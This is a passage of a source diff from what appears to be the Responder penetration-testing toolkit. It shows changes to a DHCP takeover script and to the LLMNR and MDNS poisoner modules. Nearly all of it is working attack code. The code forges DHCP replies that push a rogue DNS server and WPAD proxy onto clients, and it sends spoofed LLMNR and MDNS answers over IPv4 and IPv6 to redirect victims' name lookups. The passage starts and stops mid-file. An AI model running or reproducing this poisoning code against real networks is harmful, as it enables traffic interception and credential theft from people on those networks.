parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
|
||||
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
if options.Interface is None:
|
||||
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
|
||||
exit(-1)
|
||||
elif options.RouterIP is None:
|
||||
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
|
||||
exit(-1)
|
||||
elif options.DNSIP is None:
|
||||
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
|
||||
exit(-1)
|
||||
elif options.DNSIP2 is None:
|
||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
||||
exit(-1)
|
||||
|
||||
#Python version
|
||||
if (sys.version_info > (3, 0)):
|
||||
PY2OR3 = "PY3"
|
||||
|
@ -95,39 +75,29 @@ class Packet():
|
|||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
print('#############################################################################')
|
||||
print('## DHCP INFORM TAKEOVER 0.3 ##')
|
||||
print('## ##')
|
||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
||||
print('## server to a Windows <= XP/2003 machine. ##')
|
||||
print('## ##')
|
||||
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
|
||||
print('## any linux box, use -R (can be noisy) ##')
|
||||
print('## ##')
|
||||
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
|
||||
print('#############################################################################')
|
||||
print('')
|
||||
print(color('[*]', 2, 1), 'Listening for events...')
|
||||
|
||||
config = configparser.ConfigParser()
|
||||
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||
Interface = options.Interface
|
||||
Responder_IP = FindLocalIP(Interface, None)
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = Responder_IP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
WPADSRV = options.WPAD.strip() + "\\n"
|
||||
Spoof = options.Spoof
|
||||
Respond_To_Requests = options.Respond_To_Requests
|
||||
|
||||
if Spoof:
|
||||
DHCPSERVER = ROUTERIP
|
||||
Interface = settings.Config.Interface
|
||||
Responder_IP = RespondWithIP()
|
||||
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
|
||||
NETMASK = "255.255.255.0"
|
||||
DNSIP = "0.0.0.0"
|
||||
DNSIP2 = "0.0.0.0"
|
||||
DNSNAME = "local"
|
||||
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
|
||||
Respond_To_Requests = True
|
||||
DHCPClient = []
|
||||
|
||||
def GetMacAddress(Interface):
|
||||
try:
|
||||
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
|
||||
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||
except:
|
||||
mac = "00:00:00:00:00:00"
|
||||
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||
|
||||
##### IP Header #####
|
||||
class IPHead(Packet):
|
||||
fields = OrderedDict([
|
||||
|
@ -155,6 +125,40 @@ class UDP(Packet):
|
|||
def calculate(self):
|
||||
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
||||
|
||||
class DHCPDiscover(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x01"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", os.urandom(4).decode('latin-1')),
|
||||
("ElapsedSec", "\x00\x01"),
|
||||
("BootpFlags", "\x80\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random.
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x01"), #Msgtype(Discover)
|
||||
("Op55", "\x37"),
|
||||
("Op55Len", "\x0b"),
|
||||
("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info.
|
||||
("Op12", "\x0c"),
|
||||
("Op12Len", "\x09"),
|
||||
("Op12Str", settings.Config.DHCPHostname),#random str.
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["ClientMac"] = GetMacAddress(Interface)
|
||||
|
||||
class DHCPACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
|
@ -181,7 +185,7 @@ class DHCPACK(Packet):
|
|||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
||||
("Op51Str", "\x00\x00\x00\x0a"), #Lease time
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
|
@ -194,75 +198,28 @@ class DHCPACK(Packet):
|
|||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252", ""),
|
||||
("Op252Len", ""),
|
||||
("Op252Str", ""), #Wpad Server
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||
def calculate(self, DHCP_DNS):
|
||||
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
if DHCP_DNS:
|
||||
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
else:
|
||||
self.fields["Op252"] = "\xfc"
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
|
||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
class DHCPInformACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
def SpoofIP(Spoof):
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
|
@ -282,11 +239,17 @@ def ParseSrcDSTAddr(data):
|
|||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
data = data.decode('latin-1')
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4]).encode('latin-1')
|
||||
IPPos = data.find(b"\x32\x04") + 2
|
||||
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
|
||||
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
|
||||
return data[12:16]
|
||||
else:
|
||||
IP = data[IPPos:IPPos+4]
|
||||
return IP
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||
global DHCPClient
|
||||
global ROUTERIP
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
|
@ -295,66 +258,97 @@ def ParseDHCPCode(data):
|
|||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
|
||||
if DHCPClient.count(MacAddrStr) >= 4:
|
||||
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
||||
|
||||
# DHCP Inform
|
||||
if OpCode == b"\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
||||
ROUTERIP = ClientIP
|
||||
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
||||
|
||||
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': IPConv,
|
||||
})
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||
|
||||
# DHCP Inform
|
||||
elif OpCode == b"\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||
ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': RequestedIP,
|
||||
})
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
|
||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||
Packet.calculate()
|
||||
Packet.calculate(DHCP_DNS)
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||
DHCPClient.append(MacAddrStr)
|
||||
SaveDHCPToDb({
|
||||
'MAC': MacAddrStr,
|
||||
'IP': CurrentIP,
|
||||
'RequestedIP': IPConv,
|
||||
})
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||
|
||||
def SendDiscover():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1'))
|
||||
Packet = DHCPDiscover()
|
||||
Packet.calculate()
|
||||
Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet)
|
||||
Buffer.calculate()
|
||||
s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||
|
||||
if __name__ == "__main__":
|
||||
def DHCP(DHCP_DNS):
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
SendDiscover()
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if data[0][23:24] == b"\x11": # is udp?
|
||||
if data[0][23:24] == b"\x11":# is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ret = ParseDHCPCode(data[0][42:])
|
||||
if ret:
|
||||
print(text("[DHCP] %s" % ret))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
ClientIP = socket.inet_ntoa(data[0][26:30])
|
||||
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
|
||||
if ret and not settings.Config.Quiet_Mode:
|
||||
print(text("[*] [DHCP] %s" % ret))
|
73
poisoners/LLMNR.py
Normal file → Executable file
73
poisoners/LLMNR.py
Normal file → Executable file
|
@ -14,9 +14,7 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import fingerprint
|
||||
from packets import LLMNR_Ans
|
||||
from packets import LLMNR_Ans, LLMNR6_Ans
|
||||
from utils import *
|
||||
|
||||
if (sys.version_info > (3, 0)):
|
||||
|
@ -24,8 +22,8 @@ if (sys.version_info > (3, 0)):
|
|||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
|
||||
|
||||
#Should we answer to those AAAA?
|
||||
Have_IPv6 = settings.Config.IPv6
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
import codecs
|
||||
|
@ -42,11 +40,11 @@ def IsICMPRedirectPlausible(IP):
|
|||
for line in file:
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
continue
|
||||
elif ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
|
||||
if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses
|
||||
print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
|
||||
print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
|
||||
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
|
||||
|
@ -60,37 +58,68 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||
try:
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||
if settings.Config.AnswerName is None:
|
||||
AnswerName = Name
|
||||
else:
|
||||
AnswerName = settings.Config.AnswerName
|
||||
LLMNRType = Parse_IPV6_Addr(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||
return None
|
||||
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
|
||||
#IPv4
|
||||
if data[2:4] == b'\x00\x00' and LLMNRType:
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
|
||||
elif LLMNRType == True: # Poisoning Mode
|
||||
#Default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||
else:
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
if settings.Config.AnswerName is None:
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
else:
|
||||
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
if Finger is not None:
|
||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||
|
||||
elif LLMNRType == 'IPv6' and Have_IPv6:
|
||||
#Default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||
else:
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
if settings.Config.AnswerName is None:
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
else:
|
||||
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR6',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
|
83
poisoners/MDNS.py
Normal file → Executable file
83
poisoners/MDNS.py
Normal file → Executable file
|
@ -20,9 +20,12 @@ if (sys.version_info > (3, 0)):
|
|||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
from packets import MDNS_Ans, MDNS6_Ans
|
||||
from utils import *
|
||||
|
||||
#Should we answer to those AAAA?
|
||||
Have_IPv6 = settings.Config.IPv6
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
try:
|
||||
if (sys.version_info > (3, 0)):
|
||||
|
@ -32,14 +35,14 @@ def Parse_MDNS_Name(data):
|
|||
NameLen_ = data[1+NameLen]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
FinalName = Name+b'.'+Name_
|
||||
return FinalName.decode("latin-1")
|
||||
return FinalName.decode("latin-1").replace("\x05","")
|
||||
else:
|
||||
data = NetworkRecvBufferPython2or3(data[12:])
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
return Name+'.'+Name_.replace("\x05","")
|
||||
|
||||
except IndexError:
|
||||
return None
|
||||
|
@ -51,37 +54,57 @@ def Poisoned_MDNS_Name(data):
|
|||
|
||||
class MDNS(BaseRequestHandler):
|
||||
def handle(self):
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
try:
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
MDNSType = Parse_IPV6_Addr(data)
|
||||
# Break out if we don't want to respond to this host
|
||||
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
|
||||
return None
|
||||
|
||||
data, soc = self.request
|
||||
Request_Name = Parse_MDNS_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||
return None
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '1',
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
elif MDNSType == True: # Poisoning Mode
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
||||
#Use default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||
else:
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
|
||||
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
'Poisoner': 'MDNS',
|
||||
